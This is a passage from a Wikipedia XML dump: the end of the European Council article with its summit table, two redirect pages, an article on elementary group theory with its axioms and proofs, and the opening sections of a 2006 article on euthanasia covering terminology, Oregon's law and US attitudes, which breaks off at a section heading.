|||[[December 2003|12-13 December]]||{{flag|Belgium}} Brussels||{{flag|Italy}} Silvio Berlusconi||
|-
|2004||[[March 2004|25-26 March]]||{{flag|Belgium}} Brussels||{{flag|Ireland}} [[Bertie Ahern]]||
|-
|||[[June 2004|17-18 June]]||{{flag|Belgium}} Brussels||{{flag|Ireland}} Bertie Ahern||
|-
|||[[November 2004|4-5 November]]||{{flag|Belgium}} Brussels||{{flag|Netherlands}} [[Jan Peter Balkenende]]||
|-
|||[[December 2004|16-17 December]]||{{flag|Belgium}} Brussels||{{flag|Netherlands}} Jan Peter Balkenende||
|-
|2005||[[March 2005|22-23 March]]||{{flag|Belgium}} Brussels||{{flag|Luxembourg}} Jean-Claude Juncker||
|-
|||[[June 2005|16-17 June]]||{{flag|Belgium}} Brussels||{{flag|Luxembourg}} Jean-Claude Juncker||
|-
|||[[October 2005|27 October]]||{{flag|UK}} [[Hampton Court Palace]]||{{flag|UK}} Tony Blair||Informal council on globalisation
|-
|||[[December 2005|15-16 December]]||{{flag|Belgium}} Brussels||{{flag|UK}} Tony Blair||
|}

==See also==
* [[Presidency of the Council of the European Union]]
* [[Institutions of the European Union]]
* [[MECP|Model European Council]]

== External links and references ==
* [http://www.eu.int/european_council/index_en.htm European Council]
* [http://www.europarl.eu.int/summits/index.htm List of summits since 1985]

[[Category:European Union|Council]]

[[cs:Evropská rada]]
[[de:Europäischer Rat]]
[[eo:Eŭropa Konsilio]]
[[fr:Conseil européen]]
[[hu:Európai Tanács]]
[[it:Consiglio europeo]]
[[ja:欧州理事会]]
[[lb:Europäesche Conseil]]
[[lt:Europos Vadovų Taryba]]
[[nl:Europese Raad]]
[[no:Det europeiske råd]]
[[pl:Rada Europejska]]
[[sk:Európska rada]]
[[sl:Evropski svet]]</text>
    </revision>
  </page>
  <page>
    <title>European Union/History</title>
    <id>9583</id>
    <revision>
      <id>15907458</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <username>LA2</username>
        <id>445</id>
      </contributor>
      <minor />
      <comment>*</comment>
      <text xml:space="preserve">#REDIRECT [[history of the European Union]]</text>
    </revision>
  </page>
  <page>
    <title>Ecclesiasticus</title>
    <id>9585</id>
    <revision>
      <id>15907460</id>
      <timestamp>2005-03-30T11:05:21Z</timestamp>
      <contributor>
        <username>Jfdwolff</username>
        <id>46555</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[Ben Sira]]</text>
    </revision>
  </page>
  <page>
    <title>Elementary group theory</title>
    <id>9586</id>
    <revision>
      <id>38327453</id>
      <timestamp>2006-02-05T16:56:56Z</timestamp>
      <contributor>
        <username>Mathbot</username>
        <id>234358</id>
      </contributor>
      <comment>Robot-assisted spelling. See [[User:Mathbot/Logged misspellings]] for changes.</comment>
      <text xml:space="preserve">In [[mathematics]], a [[group (mathematics)|group]] (''G'',*) is usually defined as:

''G'' is a [[set]] and  *  is an [[associative]] [[binary operation]] on ''G'', obeying the following rules (or [[axiom]]s):
:A1. ([[Closure]]) If ''a'' and ''b'' are in ''G'', then ''a''*''b'' is in ''G''
:A2. ([[associative|Associativity]]) If ''a'', ''b'', and ''c'' are in ''G'', then (''a''*''b'')*''c''=''a''*(''b''*''c'').      
:A3. ([[identity element|Identity]]) ''G'' contains an element, often denoted ''e'', such that for all ''a'' in ''G'', ''a''*''e''=''a''.  We call this element the identity of (''G'',*). (We will show ''e'' is unique later.)
:A4. ([[inverse element|Inverses]]) If ''a'' is in ''G'', then there exists an element ''b'' in ''G'' such that ''a''*''b''=''e''.  We call ''b'' the inverse of ''a''.  (We will show ''b'' is unique later.)

Closure and associativity are part of the definition of &quot;associative binary operation&quot;, and are sometimes omitted, particularly closure.

Notes:
*The * is not necessarily multiplication.  Addition works just as well, as do many less standard operations.
*When * is a standard operation, we use the standard symbol instead (for example, + for addition).
*When * is addition or any [[commutative operation]] (except multiplication), the identity is usually denoted by 0 and the inverse of ''a'' by -''a''.  The operation is always denoted by something other than *, often +, to avoid confusion with multiplication.
*When * is multiplication or any non-commutative operation, the identity is usually denoted by 1 and the inverse of ''a'' by ''a''&lt;sup&gt;&amp;nbsp;-1&lt;/sup&gt;.  The operation is often omitted, ''a''*''b'' is often written ''ab''.
*(''G'',*) is usually pronounced &quot;the group ''G'' under *&quot;.  When affirming that it is a group (for example, in a theorem), we say that &quot;''G'' is a group under *&quot;.
*The group (''G'',*) is often referred to as &quot;the group ''G''&quot; or simply &quot;''G''&quot;; but the operation &quot;*&quot; is fundamental to the description of the group.


=Examples=
==(''R'',+) is a group==
The [[real numbers]] (''R'') are a group under addition (+).
:Closure: Clear; adding any two numbers gives another number.
:Associativity: Clear; for any ''a'', ''b'', ''c'' in ''R'', (''a''+''b'')+''c''=''a''+(''b''+''c'').
:Identity: 0.  For any ''a'' in ''R'', ''a''+0=''a''. (Hence the denotation 0 for identity)
:Inverses: For any ''a'' in ''R'', -''a''+''a''=0. (Hence the denotation -''a'' for inverse)

==(''R'',*) is not a group==
The [[real numbers]] (''R'') are NOT a group under multiplication (*).
:Identity: 1.
:Inverses: 0*''a''=0 for all ''a'' in ''R'', so 0 has no inverse.

==(''R&lt;sup&gt;#&lt;/sup&gt;'',*) is a group==
The [[real numbers]] without 0 (''R&lt;sup&gt;#&lt;/sup&gt;'') are a group under multiplication (*).
:Closure: Clear; multiplying any two numbers gives another number.
:Associativity: Clear; for any ''a'', ''b'', ''c'' in ''R'', (''a''*''b'')*''c''=''a''*(''b''*''c'').
:Identity: 1.  For any ''a'' in ''R'', ''a''*1=''a''. (Hence the denotation 1 for identity)
:Inverses: For any ''a'' in ''R'', ''a''&lt;sup&gt;&amp;nbsp;-1&lt;/sup&gt;*''a''=1. (Hence the denotation ''a''&lt;sup&gt;&amp;nbsp;-1&lt;/sup&gt; for inverse)

=Basic theorems=
==Inverses work on either side==
'''Theorem 1.1''': For all ''a'' in ''G'', ''a''&lt;sup&gt;&amp;nbsp;-1&lt;/sup&gt;*''a'' = ''e''.
* By expanding ''a''&lt;sup&gt;&amp;nbsp;-1&lt;/sup&gt;*''a'', we get
** ''a''&lt;sup&gt;&amp;nbsp;-1&lt;/sup&gt;*''a'' = ''a''&lt;sup&gt;&amp;nbsp;-1&lt;/sup&gt;*''a''*''e'' (by A3')
** ''a''&lt;sup&gt;&amp;nbsp;-1&lt;/sup&gt;*''a''*''e'' = ''a''&lt;sup&gt;&amp;nbsp;-1&lt;/sup&gt;*''a''*(''a''&lt;sup&gt;&amp;nbsp;-1&lt;/sup&gt;*(''a''&lt;sup&gt;&amp;nbsp;-1&lt;/sup&gt;)&lt;sup&gt;&amp;nbsp;-1&lt;/sup&gt;) (by A4', ''a''&lt;sup&gt;&amp;nbsp;-1&lt;/sup&gt; has an inverse denoted (''a''&lt;sup&gt;&amp;nbsp;-1&lt;/sup&gt;)&lt;sup&gt;&amp;nbsp;-1&lt;/sup&gt;)
** ''a''&lt;sup&gt;&amp;nbsp;-1&lt;/sup&gt;*''a''*(''a''&lt;sup&gt;&amp;nbsp;-1&lt;/sup&gt;*(''a''&lt;sup&gt;&amp;nbsp;-1&lt;/sup&gt;)&lt;sup&gt;&amp;nbsp;-1&lt;/sup&gt;) = ''a''&lt;sup&gt;&amp;nbsp;-1&lt;/sup&gt;*(''a''*''a''&lt;sup&gt;&amp;nbsp;-1&lt;/sup&gt;)*(''a''&lt;sup&gt;&amp;nbsp;-1&lt;/sup&gt;)&lt;sup&gt;&amp;nbsp;-1&lt;/sup&gt; = ''a''&lt;sup&gt;&amp;nbsp;-1&lt;/sup&gt;*e*(''a''&lt;sup&gt;&amp;nbsp;-1&lt;/sup&gt;)&lt;sup&gt;&amp;nbsp;-1&lt;/sup&gt; (by associativity and A4')
** ''a''&lt;sup&gt;&amp;nbsp;-1&lt;/sup&gt;*''e''*(''a''&lt;sup&gt;&amp;nbsp;-1&lt;/sup&gt;)&lt;sup&gt;&amp;nbsp;-1&lt;/sup&gt; = ''a''&lt;sup&gt;&amp;nbsp;-1&lt;/sup&gt;*(''a''&lt;sup&gt;&amp;nbsp;-1&lt;/sup&gt;)&lt;sup&gt;&amp;nbsp;-1&lt;/sup&gt; = ''e'' (by A3' and A4')
* Therefore, ''a''&lt;sup&gt;&amp;nbsp;-1&lt;/sup&gt;*''a'' = ''e''

==An identity works on either side==
'''Theorem 1.2''': For all ''a'' in ''G'', ''e''*''a'' = ''a''.
* Expanding ''e''*''a'',
** ''e''*''a'' = (''a''*''a''&lt;sup&gt;&amp;nbsp;-1&lt;/sup&gt;)*''a'' (by A4)
** (''a''*''a''&lt;sup&gt;&amp;nbsp;-1&lt;/sup&gt;)*''a'' = ''a''*(''a''&lt;sup&gt;&amp;nbsp;-1&lt;/sup&gt;*''a'') = ''a''*''e'' (by associativity and the previous theorem)
** ''a''*''e'' = ''a'' (by A3)
* Therefore ''e''*''a'' = ''a''

==[[Latin square property]]==
'''Theorem 1.3''': For all ''a'',''b'' in ''G'', there exists a unique ''x'' in ''G'' such that ''a''*''x'' = ''b''.
* Certainly, at least one such ''x'' exists, for if we let ''x'' = ''a''&lt;sup&gt;&amp;nbsp;-1&lt;/sup&gt;*''b'', then ''x'' is in ''G'' (by A1, closure); and then
** ''a''*''x'' = ''a''*(''a''&lt;sup&gt;&amp;nbsp;-1&lt;/sup&gt;*''b'') (substituting for ''x'')
** ''a''*(''a''&lt;sup&gt;&amp;nbsp;-1&lt;/sup&gt;*''b'') = (''a''*''a''&lt;sup&gt;&amp;nbsp;-1&lt;/sup&gt;)*''b'' (associativity A2).
**(''a''*''a''&lt;sup&gt;&amp;nbsp;-1&lt;/sup&gt;)*''b''= ''e''*''b'' = ''b''. (identity A3).
** Thus an ''x'' always exists satisfying ''a''*''x'' = ''b''.
* To show that this is unique, if ''a''*''x''=''b'', then
** ''x'' = ''e''*''x'' 
** ''e''*''x'' = (''a''&lt;sup&gt;&amp;nbsp;-1&lt;/sup&gt;*''a'')*x 
** (''a''&lt;sup&gt;&amp;nbsp;-1&lt;/sup&gt;*''a'')*x = ''a''&lt;sup&gt;&amp;nbsp;-1&lt;/sup&gt;*(''a''*''x'') 
** ''a''&lt;sup&gt;&amp;nbsp;-1&lt;/sup&gt;*(''a''*''x'') = ''a''&lt;sup&gt;&amp;nbsp;-1&lt;/sup&gt;*''b''
** Thus, ''x'' = ''a''&lt;sup&gt;&amp;nbsp;-1&lt;/sup&gt;*''b''
Similarly, for all ''a'',''b'' in ''G'', there exists a unique ''y'' in ''G'' such that ''y''*''a'' = ''b''.

==The identity is unique==
'''Theorem 1.4''': The identity element of a group (''G'',*) is unique.
* ''a''*''e'' = ''a'' (by A3)
* Apply theorem 1.3, with ''b'' = ''a''.

Alternative proof: Suppose that ''G'' has two identity elements, ''e'' and ''f'' say. Then ''e''*''f'' = ''e'', by A3', but also ''e''*''f'' = ''f'', by Theorem 1.2. Hence ''e'' = ''f''.

As a result, we can speak of ''the'' identity element of (''G'',*) rather than ''an'' identity element. Where different groups are being discussed and compared, often ''e''&lt;sub&gt;''G''&lt;/sub&gt; will be used to identify the identity in (''G'',*).

==Inverses are unique==
'''Theorem 1.5''': The inverse of each element in (''G'',*) is unique; equivalently, for all ''a'' in ''G'', ''a''*''x'' = ''e'' if and only if ''x''=''a''&lt;sup&gt;&amp;nbsp;-1&lt;/sup&gt;.
* If ''x''=''a''&lt;sup&gt;&amp;nbsp;-1&lt;/sup&gt;, then ''a''*''x'' = ''e'' by A4.
* Apply theorem 1.3, with ''b'' = ''e''.

Alternative proof: Suppose that an element ''g'' of ''G'' has two inverses, ''h'' and ''k'' say. Then ''h'' = ''h''*''e'' = ''h''*(''g''*''k'') = (''h''*''g'')*''k'' = ''e''*''k'' = ''k'' (equalities justified by A3'; A4'; A2; Theorem 1.1; and Theorem 1.2, respectively).

As a result, we can speak of ''the'' inverse of an element ''x'', rather than ''an'' inverse.

==Inverting twice gets you back where you started==
'''Theorem 1.6''': For all ''a'' belonging to a group (''G'',*), (''a''&lt;sup&gt;&amp;nbsp;-1&lt;/sup&gt;)&lt;sup&gt;&amp;nbsp;-1&lt;/sup&gt;=''a''.
* ''a''&lt;sup&gt;&amp;nbsp;-1&lt;/sup&gt;*''a'' = ''e''.
* Therefore the conclusion follows from theorem 1.4.

==The inverse of ab==
'''Theorem 1.7''': For all ''a'',''b'' belonging to a group (''G'',*), (''a''*''b'')&lt;sup&gt;&amp;nbsp;-1&lt;/sup&gt;=''b''&lt;sup&gt;&amp;nbsp;-1&lt;/sup&gt;*''a''&lt;sup&gt;&amp;nbsp;-1&lt;/sup&gt;.
* (''a''*''b'')*(''b''&lt;sup&gt;&amp;nbsp;-1&lt;/sup&gt;*''a''&lt;sup&gt;&amp;nbsp;-1&lt;/sup&gt;) = ''a''*(''b''*''b''&lt;sup&gt;&amp;nbsp;-1&lt;/sup&gt;)*''a''&lt;sup&gt;&amp;nbsp;-1&lt;/sup&gt; = ''a''*e*''a''&lt;sup&gt;&amp;nbsp;-1&lt;/sup&gt; = ''a''*''a''&lt;sup&gt;&amp;nbsp;-1&lt;/sup&gt; = e
* Therefore the conclusion follows from theorem 1.4.

==Cancellation==
'''Theorem 1.8''': For all ''a'',''x'',''y'', belonging to a group (''G'',*), if ''a''*''x''=''a''*''y'', then ''x''=''y''; and if ''x''*''a''=''y''*''a'', then ''x''=''y''.
* If ''a''*''x'' = ''a''*''y'' then:
** ''a''&lt;sup&gt;&amp;nbsp;-1&lt;/sup&gt;*(''a''*''x'') = ''a''&lt;sup&gt;&amp;nbsp;-1&lt;/sup&gt;*(''a''*''y'')
** (''a''&lt;sup&gt;&amp;nbsp;-1&lt;/sup&gt;*''a'')*''x'' = (''a''&lt;sup&gt;&amp;nbsp;-1&lt;/sup&gt;*''a'')*''y''
** ''e''*''x'' = ''e''*''y''
** ''x'' = ''y''
* If ''x''*''a'' = ''y''*''a'' then
** (''x''*''a'')*''a''&lt;sup&gt;&amp;nbsp;-1&lt;/sup&gt; = (''y''*''a'')*''a''&lt;sup&gt;&amp;nbsp;-1&lt;/sup&gt;
** ''x''*(''a''*''a''&lt;sup&gt;&amp;nbsp;-1&lt;/sup&gt;) = ''y''*(''a''*''a''&lt;sup&gt;&amp;nbsp;-1&lt;/sup&gt;)
** ''x''*''e'' = ''y''*''e''
** ''x'' = ''y''

==Repeated use of *==
'''Theorem 1.9''': For every ''a'' in a group, ''a''&lt;sup&gt;m&lt;/sup&gt;''a''&lt;sup&gt;n&lt;/sup&gt; = ''a''&lt;sup&gt;m+n&lt;/sup&gt; = ''a''&lt;sup&gt;n&lt;/sup&gt;''a''&lt;sup&gt;m&lt;/sup&gt; and (''a''&lt;sup&gt;m&lt;/sup&gt;)&lt;sup&gt;n&lt;/sup&gt; = (''a''&lt;sup&gt;n&lt;/sup&gt;)&lt;sup&gt;m&lt;/sup&gt; = ''a''&lt;sup&gt;nm&lt;/sup&gt;. (This generalizes the associativity.)

=(uncategorized)=

Given a group (''G'', *), if the total number of elements in ''G'' is finite, then the group is called a ''finite group''. The '''order of a group''' (''G'',*) is the number of elements in ''G'' (for a finite group), or the [[cardinality]] of the group if ''G'' is not finite. The order of a group ''G'' is written as |''G''| or (less frequently) o(''G'').

----

A [[subset]] ''H'' of ''G'' is called a '''[[subgroup]]''' of a group (''G'',*) if ''H'' satisfies the axioms of a group, using the same operator &quot;*&quot;, and restricted to the subset ''H''. Thus if ''H'' is a subgroup of (''G'',*), then (''H'',*) is also a group, and obeys the above theorems, restricted to ''H''. The ''order'' of subgroup ''H'' is the number of elements in ''H''.

A ''proper subgroup'' of a group ''G'' is a subgroup which is not identical to ''G''. A ''non-trivial'' subgroup of ''G'' is (usually) any proper subgroup of ''G'' which contains an element other than ''e''.

'''Theorem 2.1''': If ''H'' is a subgroup of (''G'',*), then the identity ''e''&lt;sub&gt;''H''&lt;/sub&gt; in ''H'' is identical to the identity ''e'' in (''G'',*).
* If ''h'' is in ''H'', then ''h''*''e''&lt;sub&gt;''H''&lt;/sub&gt; = ''h''; since ''h'' must also be in ''G'', ''h''*''e'' = ''h''; so by theorem 1.4, ''e''&lt;sub&gt;''H''&lt;/sub&gt; = ''e''.

'''Theorem 2.2''': If ''H'' is a subgroup of ''G'', and ''h'' is an element of ''H'', then the inverse of ''h'' in ''H'' is identical to the inverse of ''h'' in ''G''.
* Let ''h'' and ''k'' be elements of ''H'', such that ''h''*''k'' = ''e''; since ''h'' must also be in ''G'', ''h''*''h''&lt;sup&gt;&amp;nbsp;-1&lt;/sup&gt; = ''e''; so by theorem 1.5, ''k'' = ''h''&lt;sup&gt;&amp;nbsp;-1&lt;/sup&gt;.

Given a subset ''S'' of ''G'', we often want to determine whether or not ''S'' is also a subgroup of ''G''. One handy theorem that covers the case for both finite and infinite groups is:

'''Theorem 2.3''': If ''S'' is a non-empty subset of ''G'', then ''S'' is a subgroup of ''G'' if and only if for all ''a'',''b'' in ''S'', ''a''*''b''&lt;sup&gt;&amp;nbsp;-1&lt;/sup&gt; is in ''S''.
* If for all ''a'', ''b'' in ''S'', ''a''*''b''&lt;sup&gt;&amp;nbsp;-1&lt;/sup&gt; is in ''S'', then
** ''e'' is in ''S'', since ''a''*''a''&lt;sup&gt;&amp;nbsp;-1&lt;/sup&gt; = ''e'' is in ''S''.
** for all ''a'' in ''S'', ''e''*''a''&lt;sup&gt;&amp;nbsp;-1&lt;/sup&gt; = ''a''&lt;sup&gt;&amp;nbsp;-1&lt;/sup&gt; is in ''S''
** for all ''a'', ''b'' in ''S'', ''a''*''b'' = ''a''*(''b''&lt;sup&gt;&amp;nbsp;-1&lt;/sup&gt;)&lt;sup&gt;&amp;nbsp;-1&lt;/sup&gt; is in ''S''
** Thus, the axioms of closure, identity, and inverses are satisfied, and associativity is inherited; so ''S'' is subgroup.
* Conversely, if ''S'' is a subgroup of ''G'', then it obeys the axioms of a group.
** As noted above, the identity in ''S'' is identical to the identity ''e'' in ''G''.
** By A4, for all ''b'' in ''S'', ''b''&lt;sup&gt;&amp;nbsp;-1&lt;/sup&gt; is in ''S''
** By A1, ''a''*''b''&lt;sup&gt;&amp;nbsp;-1&lt;/sup&gt; is in ''S''.

The intersection of two or more subgroups is again a subgroup.

'''Theorem 2.4''': The intersection of any non-empty set of subgroups of a group ''G'' is a subgroup.
* Let {''H''&lt;sub&gt;''i''&lt;/sub&gt;} be a set of subgroups of ''G'', and let K = &amp;cap;{''H''&lt;sub&gt;''i''&lt;/sub&gt;}.
* ''e'' is a member of every ''H''&lt;sub&gt;''i''&lt;/sub&gt; by theorem 2.1; so K is not empty.
* If ''h'' and ''k'' are elements of ''K'', then for all ''i'', 
** ''h'' and ''k'' are in ''H''&lt;sub&gt;''i''&lt;/sub&gt;.
** By the previous theorem, ''h''*''k''&lt;sup&gt;&amp;nbsp;-1&lt;/sup&gt; is in ''H''&lt;sub&gt;''i''&lt;/sub&gt;
** Therefore, ''h''*''k''&lt;sup&gt;&amp;nbsp;-1&lt;/sup&gt; is in &amp;cap;{''H''&lt;sub&gt;''i''&lt;/sub&gt;}.
* Therefore for all ''h'', ''k'' in ''K'', ''h''*''k''&lt;sup&gt;&amp;nbsp;-1&lt;/sup&gt; is in ''K''.
* Then by the previous theorem, ''K''=&amp;cap;{''H''&lt;sub&gt;''i''&lt;/sub&gt;} is a subgroup of ''G''; and in fact ''K'' is a subgroup of each ''H''&lt;sub&gt;''i''&lt;/sub&gt;.

In a group (''G'',*), define ''x''&lt;sup&gt;0&lt;/sup&gt; = ''e''. We write ''x''*''x'' as ''x''&amp;sup2; ; and in general, ''x''*''x''*''x''*...*''x'' (''n'' times) as ''x''&lt;sup&gt;''n''&lt;/sup&gt;. Similarly, we write ''x''&lt;sup&gt;&amp;nbsp;-''n''&lt;/sup&gt; for (''x''&lt;sup&gt;&amp;nbsp;-1&lt;/sup&gt;)&lt;sup&gt;''n''&lt;/sup&gt;.

'''Theorem 2.5''': Let ''a'' be an element of a group (''G'',*). Then the set {''a''&lt;sup&gt;''n''&lt;/sup&gt;: n is an integer} is a subgroup of ''G''.

A subgroup of this type is called a ''[[cyclic group | cyclic]]'' subgroup; the subgroup of the powers of ''a'' is often written as &lt;''a''&gt;, and we say that ''a'' [[generating set of a group | ''generates'']] &lt;''a''&gt;.

If there is a positive integer ''n'' such that ''a''&lt;sup&gt;''n''&lt;/sup&gt;=''e'', then we say the element ''a'' has '''order''' ''n'' in G. Sometimes this is written as &quot;o(''a'')=''n''&quot;.

----

If ''S'' and ''T'' are subsets of ''G'', and ''a'' is an element of ''G'', we write &quot;''a''*''S''&quot; to refer to the subset of ''G'' made up of all elements of the form ''a''*''s'', where ''s'' is an element of ''S''; similarly, we write &quot;''S''*''a''&quot; to indicate the set of elements of the form ''s''*''a''. We write ''S''*''T'' for the subset of ''G'' made up of elements of the form ''s''*''t'', where ''s'' is an element of ''S'' and ''t'' is an element of ''T''.

If ''H'' is a subgroup of ''G'', then a ''left [[coset]]'' of ''H'' is a set of the form ''a''*''H'', for some ''a'' in ''G''. A ''right coset'' is a subset of the form ''H''*''a''.

Some useful theorems about cosets, stated without proof:

'''Theorem''': If ''H'' is a subgroup of ''G'', and ''x'' and ''y'' are elements of ''G'', then either ''x''*''H'' = ''y''*''H'', or ''x''*''H'' and ''y''*''H'' have empty intersection.

'''Theorem''': If ''H'' is a subgroup of ''G'', every left (right) coset of ''H'' in ''G'' contains the same number of elements.

'''Theorem''': If ''H'' is a subgroup of ''G'', then ''G'' is the disjoint union of the left (right) cosets of ''H''.

'''Theorem''': If ''H'' is a subgroup of ''G'', then the number of distinct left cosets of ''H'' is the same as the number of distinct right cosets of ''H''.

Define the '''index''' of a subgroup ''H'' of a group ''G'' (written &quot;[''G'':''H'']&quot;) to be the number of distinct left cosets of ''H'' in ''G''.

From these theorems, we can deduce the important [[Lagrange's theorem]] relating the order of a subgroup to the order of a group:

'''Lagrange's theorem''': If ''H'' is a subgroup of ''G'', then |''G''| = |''H''|*[''G'':''H''].

For finite groups, this also allows us to state:

'''Lagrange's theorem''': If ''H'' is a subgroup of a finite group ''G'', then the order of ''H'' divides the order of ''G''.

----

== References ==

* ''Group Theory'', W. R. Scott, Dover Publications, ISBN 0-486-65377-3
[[Category:Group theory]]
* ''Groups'', C. R. Jordan and D. A. Jordan, Newnes (Elsevier), ISBN 0-340-61045-X

[[zh:群基本定理]]</text>
    </revision>
  </page>
  <page>
    <title>Euthanasia</title>
    <id>9587</id>
    <revision>
      <id>42087594</id>
      <timestamp>2006-03-03T19:16:16Z</timestamp>
      <contributor>
        <username>Dustimagic</username>
        <id>567793</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/204.39.67.11|204.39.67.11]] to last version by RexNL</comment>
      <text xml:space="preserve">{{for|the Megadeth album|Youthanasia}}
[[Image:Euthanasia machine (Australia).JPG|thumb|240px|A euthanasia machine.]]
'''Euthanasia''' (from [[Ancient Greek|Greek]]: ''ευθανασία'' - ''ευ'' &quot;good&quot;, ''θανατος'' &quot;[[death]]&quot;) refers to assisted dying.  The assistance ends the life of a person or an animal in a painless or minimally painful way. Euthanasia is most often performed in a merciful way, in order to end suffering. For non-human mercy killings see [[animal euthanasia]].

== The terminology and its implications ==

Euthanasia as a topic is often highly-charged&amp;mdash;emotionally, politically, and morally.   Terminology and laws shift over time, geographically and globally, causing a great deal of confusion. In politically and emotionally loaded terms, this is frequently and incorrectly referred to as physician-assisted [[suicide]]. 

There is some debate as to whether euthanasia refers to &quot;letting die&quot; or &quot;allowing to die.&quot; In the United States and the Netherlands, &quot;letting die&quot; or &quot;allowing to die&quot; refer to areas which the state consider ethically and legally acceptable and permissible. This includes the withholding and withdrawing of medical treatment such as dialysis, feeding tubes or hydration and nutrition when they no longer prolong the life of the dying person. Sometimes, as a body's major organ systems shut down, a dying person may feel most comfortable without any fluids or food. To provide fluids and nutrition in this situation is like &quot;force feeding&quot; a body that does not &quot;want&quot; or need to be fed or hydrated, and doing so may actually cause physical discomfort and suffering. This is a different situation than when the person is not dying, and whose body can absorb nutrition and fluids. 

In most other countries removing or denying treatment is usually seen as murder. In a growing number of law cases over the last 20 years, the jury has usually sided with the defendant.

Following are several summary statements defining what euthanasia can include. These are followed by expanded definitions of each. Euthanasia (assisted dying) may employ methods that are either indirect or direct.  Indirect methods of euthanasia are defined by an individual him or herself taking the final step inducing death.  Direct methods are defined by the involvement of others (clinicians) who take the final step inducing death.  Direct euthanasia can either be voluntary, nonvoluntary or involuntary. (See [[Karl Binding]] and [[Alfred Hoche]] for one of the first uses of the three types of euthanasia.)

'''Indirect'''  euthanasia means the involvement of a clinician (e.g. physician, clinical nurse practitioner, pharmacist) as an agent who participates only by providing treatment for symptoms (for example pain) with a known side effect being an early death. This is different from physician assisted suicide whereas a doctor purposefully provides the means to a patient in the form of drugs and delivery mechanisms to kill him/herself.   This could mean writing or filling a prescription for medications in a quantity large enough to cause death when taken by the patient.  This kind of assistance is currently legal in the [[United States|American state]] of [[Oregon]].  It became legal in 1998 as a result of the &quot;Death with Dignity Act&quot;  which was passed in the state in 1994.  

'''Direct''' euthanasia means the involvement of a clinician as agent in inducing a patient’s death. (e.g. administering a lethal drug by injection.)  Direct euthanasia is not currently legal anywhere in the US, but both direct and indirect euthanasia are legal in Belgium and the Netherlands. This may be due to the patient being incapable of committing suicide without help, possibly due to their illness. 

'''Voluntary''' euthanasia occurs ''with'' the fully-informed request of  a decisionally-competent adult patient or that of their surrogate (proxy).   (Example: Thomas Youk, with [[ALS]] was assisted by [[Jack Kevorkian]].)

'''Nonvoluntary''' euthanasia occurs ''without'' the fully-informed consent and fully-informed request of a decisionally-competent adult patient or that of their surrogate (proxy).  An example of this might be if a patient has decisional capacity but is not told they will be euthanized; or, if a patient is not conscious or lacks decisional-capacity and their surrogate is not told the patient will be euthanized.  

'''Involuntary''' euthanasia occurs ''over the objection'' of a patient or their surrogate (proxy). An example of this might be if a patient with decisional capacity (or their surrogate) is told what will happen.  The patient (or surrogate) refuses yet the patient is euthanized anyway. 

[[Terminal sedation]] is a combination of medically inducing a deep sleep and stopping other treatment, with the exception of medication for symptom control (such as [[analgesia]]). It is considered to be euthanasia by some, but under current law and medical practice it is considered a form of [[palliative care]].

In [[Nazi Germany]] the term &quot;euthanasia&quot; (''[[:de:Euthanasie|Euthanasie]]'') referred to the systematic killing of disabled children and adults under the [[T-4 Euthanasia Program]]. This program was cancelled (at least officially) after public disapproval was expressed.  This has tainted the word especially in [[German language|German-speaking]] countries; especially as one of the main advocates of euthanasia in Germany after World War II, was [[Werner Catel]], a leading Nazi doctor directly involved in T4. The alternate term is the older [[Sterbehilfe]], which means &quot;help the dying to die smoothly&quot;. This meaning of the term &quot;Sterbehilfe&quot; is used within today's discussions in German newspapers and in other public forums like the TV, radio and the Internet.




===Oregon (United States) ===

Oregon Law, passed by voters in 1994 and reaffirmed by voters in 1997, states an individual must meet the following criteria:

1) 18 years of age or older, unless consent is given by a parent for children under the age of 18

2) a resident of Oregon, 

3) informed consent must be given; the patient must be mentally capable of making the consent

4) diagnosed with a terminal illness that will lead to death within six months and is not basing his or her decision to die on depression or another mental disorder.  Two physicians assist in verification.

Also, it is required by law that this must be verified by two physicians, as well as by two witnesses.

====Statistics and methods====

In [[2003]], in Oregon 42 cases of physician assisted dying were reported (0.14% of all deaths), all by drinking a strong [[barbiturate]] [[potion]], usually 9g of [[Pentobarbital]]. The doctor is not required to be present; in 12 cases he/she was.

Since 1998, 171 Oregonians have relied on the &quot;Death with Dignity&quot; law.
There were three cases of [[regurgitation]]. In each case at least one third of the potion was retained, which caused death anyway, though in one case only after 48 hours.

The time from ingestion to unconsciousness was 1 to 20 minutes ([[average]] 4 minutes), the time from ingestion to death 5 minutes to 48 hours (average 20 minutes).

== Attitudes on Euthanasia in the United States ==

In the last 20 years, some states have faced voter ballot initiatives and legislation bills attempting to legalize euthanasia and assisted suicide. Some examples include: Washington voters saw Ballot Initiative 119 in 1991, California placed Proposition 161 on the ballot in 1992, and Michigan included Proposal B in their ballot in 1998. Public opinion concerning this issue has become an increasingly important because widespread support could very well facilitate the legalization of these policies in other states, such as in Oregon. 

While many people are aware of the ongoing debates concerning the issue of euthanasia and assisted suicide, it has been unclear where the public opinion stands in the United States. A recent Gallup Poll survey did show that 75% of Americans supported euthanasia, however further research has shown that there are significant differences in levels of support for euthanasia across distinct social groups. Recently, these attitudes have been receiving more attention since they not only could influence the legislation on this topic, but how patients are cared for in the future. 

=== Religion ===

Some of the differences in public attitudes towards the right to die debate stem from the diversity of religion in this country. The United States contains a wide array of religious views, and these views seem to correlate with whether euthanasia was supported. Using the results from past General Social Surveys performed, some patterns can be found. Respondents that did not affiliate with a religion were found to support euthanasia more than those who did. 

Of the religious groups that were studied, which were mostly Christian in this particular study, conservative [[Protestants]] (including [[Southern Baptists]], [[Pentecostals]], and [[Evangelicals]]) were more opposed to euthanasia than non-affiliates and the other religious groups. 

Moderate Protestants (including [[Lutherans]] and [[Methodists]]) and Catholics showed mixed views concerning end of life decisions in general. Both of these groups showed less support than non-affiliates, but were less opposed to it than conservative Protestants. Moderate Protestants are less likely to take a literal interpretation to Bible than their conservative counterparts, and some leaderships tend to take a less oppositional view on the issue. Despite the fact that the Catholic Church has come out in firm opposition to physician-assisted suicide, they share the nearly same level of support as moderate Protestants. 

The liberal Protestants (including some [[Presbyterians]] and [[Episcopalians]]) were the most supportive of the groups. In general, they had looser affiliations with religious institutions and their views were similar to those of non-affiliates. Within all these groups, religiosity (identified as being frequency of church attendance and self-evaluation) also affected their level of opposition towards euthanasia. Individuals who attended church regularly and more frequently and considered themselves more religious were found to be more opposed than to those who had a lower level of religiosity {{ref|Burdette}}.

=== Race and Ethnicity ===

